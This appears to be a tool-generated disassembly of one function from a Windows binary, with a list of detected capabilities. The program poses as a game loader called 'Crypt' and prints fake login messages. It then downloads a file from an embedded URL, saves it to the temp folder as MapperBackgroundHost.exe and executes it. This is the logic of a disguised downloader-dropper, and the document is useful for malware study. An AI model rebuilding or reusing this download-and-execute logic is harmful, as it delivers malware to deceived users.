Function at 0x140001390
Capabilities:
Create http request
Create process on windows
Execute command
Get common file path
Read data from internet
Receive data
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
mov eax, 0x1490
call fcn.140004f50
sub rsp, rax
mov rax, qword [0x14000e040]
xor rax, rsp
mov qword [rsp + 0x1480], rax
xor r14d, r14d
mov dword [rsp + 0x1e0], r14d
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
mov dword [rsp + 0x1e4], r14d
lea rdx, [rsp + 0x1e4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov edx, dword [rsp + 0x1e4]
or edx, 4
mov dword [rsp + 0x1e4], edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
lea rdx, [rsp + 0x248]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowRect]
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x190
mov r9d, 0x190
mov r8d, dword [rsp + 0x24c]
mov edx, dword [rsp + 0x248]
mov rcx, rbx
call qword [sym.imp.USER32.dll_MoveWindow]
lea rcx, str.Crypt
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rdx, str.Welcome_to_Crypt__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400033d0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x208], xmm0
mov qword [rsp + 0x218], r14
mov qword [rsp + 0x220], 0xf
mov byte [rsp + 0x208], r14b
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0xd0]
call sub.VCRUNTIME140.dll_memset
lea rbx, [0x140000000]
lea rax, [rbx + 0xae70]
mov qword [rsp + 0xd0], rax
lea rcx, [rsp + 0x180]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x1e0], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0xd0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0xd0], rax
mov rax, qword [rsp + 0xd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0xcc], edx
lea rcx, [rsp + 0xe0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rsp + 0xe0], rax
mov byte [rsp + 0x15c], r14b
mov byte [rsp + 0x151], r14b
lea rcx, [rsp + 0xe0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rsp + 0x160], r14
mov rax, qword [0x14000ea40]
mov qword [rsp + 0x154], rax
mov qword [rsp + 0x148], r14
mov r8d, 1
lea rdx, str.license.log
lea rcx, [rsp + 0xe0]
call fcn.140003150
test rax, rax
jne 0x1400015db
mov rax, qword [rsp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0xd0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rsp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0xd0]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140001681
mov rax, qword [rsp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0xd0]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rsp + 0x208]
lea rcx, [rsp + 0xd0]
call fcn.140003c30
lea rcx, [rsp + 0xe0]
call fcn.140003090
test rax, rax
jne 0x14000166f
mov rax, qword [rsp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0xd0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [0x14000ac04]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x14000175a
lea rdx, [0x14000ac08]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400033d0
lea rdx, [rsp + 0x208]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400035b0
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x260]
call sub.VCRUNTIME140.dll_memset
mov r8d, 2
lea rdx, str.license.log
lea rcx, [rsp + 0x260]
call fcn.140002ce0
nop
lea rdx, [rsp + 0x208]
cmp qword [rsp + 0x220], 0xf
cmova rdx, qword [rsp + 0x208]
mov r8, qword [rsp + 0x218]
lea rcx, [rsp + 0x260]
call fcn.140003dd0
lea rcx, [rsp + 0x268]
call fcn.140003090
test rax, rax
jne 0x14000173e
mov rax, qword [rsp + 0x260]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x260]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [0x14000ac04]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rsp + 0x260]
call fcn.1400012d0
nop
lea rdx, str.Sending_Auth_Packets..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400033d0
lea rdx, str.Logged_In__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400033d0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rdx, str.Waiting_for_Game..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400033d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x228], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x238], xmm1
mov ecx, 0x100
call fcn.140004394
mov r8, rax
mov qword [rsp + 0x228], rax
movdqa xmm0, xmmword [0x14000aea0]
movdqu xmmword [rsp + 0x238], xmm0
lea rcx, [rbx + 0xac80]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rdx, [rax + 0x80]
movups xmm0, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rcx]
movups xmmword [rdx], xmm1
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm0
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm1
movups xmm0, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm0
movups xmm1, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm1
movups xmm0, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm0
movups xmm1, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm1
mov rax, qword [rcx + 0x70]
mov qword [rdx + 0x70], rax
movzx eax, word [rcx + 0x78]
mov word [rdx + 0x78], ax
mov byte [r8 + 0xfa], 0
lea rdx, [rsp + 0x370]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rax, [rsp + 0x370]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400018b0
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x140001fa8
cmp rbx, 0xf
ja 0x1400018ff
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 0xf
mov r8, rbx
lea rdx, [rsp + 0x370]
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x30], 0
jmp 0x14000199e
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x140001934
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140004394
test rax, rax
je 0x140001969
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001978
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140001951
mov rsi, r14
jmp 0x140001978
cmp rcx, 0x1000
jb 0x140001970
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001fae
jmp 0x140001919
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004394
mov rsi, rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rdi
mov r8, rbx
lea rdx, [rsp + 0x370]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 0x18
jb 0x1400019ef
lea rax, [rcx + 0x18]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 0x18
lea rdx, str.MapperBackgroundHost.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x18], 0
lea rax, [rsp + 0x30]
jmp 0x140001a07
mov qword [rsp + 0x20], 0x18
mov edx, 0x18
lea rcx, [rsp + 0x30]
call fcn.140003a50
xorps xmm0, xmm0
movups xmmword [rsp + 0x1e8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1f8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x1e8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x1f8], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001a84
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a7f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a7f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000414c
movdqa xmm0, xmmword [0x14000ae90]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
lea rsi, [rsp + 0x1e8]
cmp qword [rsp + 0x200], 0xf
cmova rsi, qword [rsp + 0x1e8]
lea rbx, [rsp + 0x228]
cmp qword [rsp + 0x240], 0xf
cmova rbx, qword [rsp + 0x228]
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.File_Downloader
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
test rax, rax
je 0x140001b20
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x140001b91
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.Failed_to_download_file.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400033d0
lea rdx, [0x140003790]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x200]
cmp rdx, 0xf
jbe 0x140001e61
inc rdx
mov rcx, qword [rsp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e5c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e5c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x260]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x20
mov rdx, rsi
lea rcx, [rsp + 0x260]
call fcn.140002ce0
nop
mov rcx, rbx
cmp qword [rsp + 0x2e8], 0
jne 0x140001bed
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
lea rcx, [rsp + 0x260]
call fcn.1400012d0
jmp 0x140001b20
mov dword [rsp + 0x1e0], r14d
lea r9, [rsp + 0x1e0]
mov r8d, 0x1000
lea rdx, [rsp + 0x480]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001c5c
mov eax, dword [rsp + 0x1e0]
test eax, eax
je 0x140001c5c
mov r8d, eax
lea rdx, [rsp + 0x480]
lea rcx, [rsp + 0x260]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea r9, [rsp + 0x1e0]
mov r8d, 0x1000
lea rdx, [rsp + 0x480]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001c15
lea rcx, [rsp + 0x268]
call fcn.140003090
test rax, rax
jne 0x140001c93
mov rax, qword [rsp + 0x260]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x260]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
lea rcx, [rsp + 0x260]
call fcn.1400012d0
lea rax, [rsp + 0x1e8]
cmp qword [rsp + 0x200], 0xf
cmova rax, qword [rsp + 0x1e8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0xa0], xmm0
movups xmmword [rsp + 0xb0], xmm0
movups xmmword [rsp + 0xc0], xmm0
mov dword [rsp + 0x60], 0x70
mov dword [rsp + 0x64], 0x440
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x90], r14d
lea rcx, [rsp + 0x60]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x200]
cmp rdx, 0xf
jbe 0x140001d8f
inc rdx
mov rcx, qword [rsp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001b8a
call fcn.14000414c
movdqa xmm0, xmmword [0x14000ae90]
movdqu xmmword [rsp + 0x1f8], xmm0
mov byte [rsp + 0x1e8], 0
mov rdx, qword [rsp + 0x240]
cmp rdx, 0xf
jbe 0x140001df3
inc rdx
mov rcx, qword [rsp + 0x228]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001de6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001eb4
call fcn.14000414c
movdqa xmm0, xmmword [0x14000ae90]
movdqu xmmword [rsp + 0x238], xmm0
mov byte [rsp + 0x228], 0
lea rcx, [rsp + 0xd0]
call fcn.140001fc0
nop
mov rdx, qword [rsp + 0x220]
cmp rdx, 0xf
jbe 0x140001e55
inc rdx
mov rcx, qword [rsp + 0x208]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e50
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001fa1
call fcn.14000414c
xor eax, eax
jmp 0x140001f2f
call fcn.14000414c
movdqa xmm0, xmmword [0x14000ae90]
movdqu xmmword [rsp + 0x1f8], xmm0
mov byte [rsp + 0x1e8], 0
mov rdx, qword [rsp + 0x240]
cmp rdx, 0xf
jbe 0x140001ec8
inc rdx
mov rcx, qword [rsp + 0x228]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ebb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ebb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000414c
movdqa xmm0, xmmword [0x14000ae90]
movdqu xmmword [rsp + 0x238], xmm0
mov byte [rsp + 0x228], 0
lea rcx, [rsp + 0xd0]
call fcn.140001fc0
nop
mov rdx, qword [rsp + 0x220]
cmp rdx, 0xf
jbe 0x140001f2a
inc rdx
mov rcx, qword [rsp + 0x208]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001fa1
call fcn.14000414c
mov eax, 1
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.140003fb0
lea r11, [rsp + 0x1490]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop r14
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400011f0
int3
call fcn.140001150
int3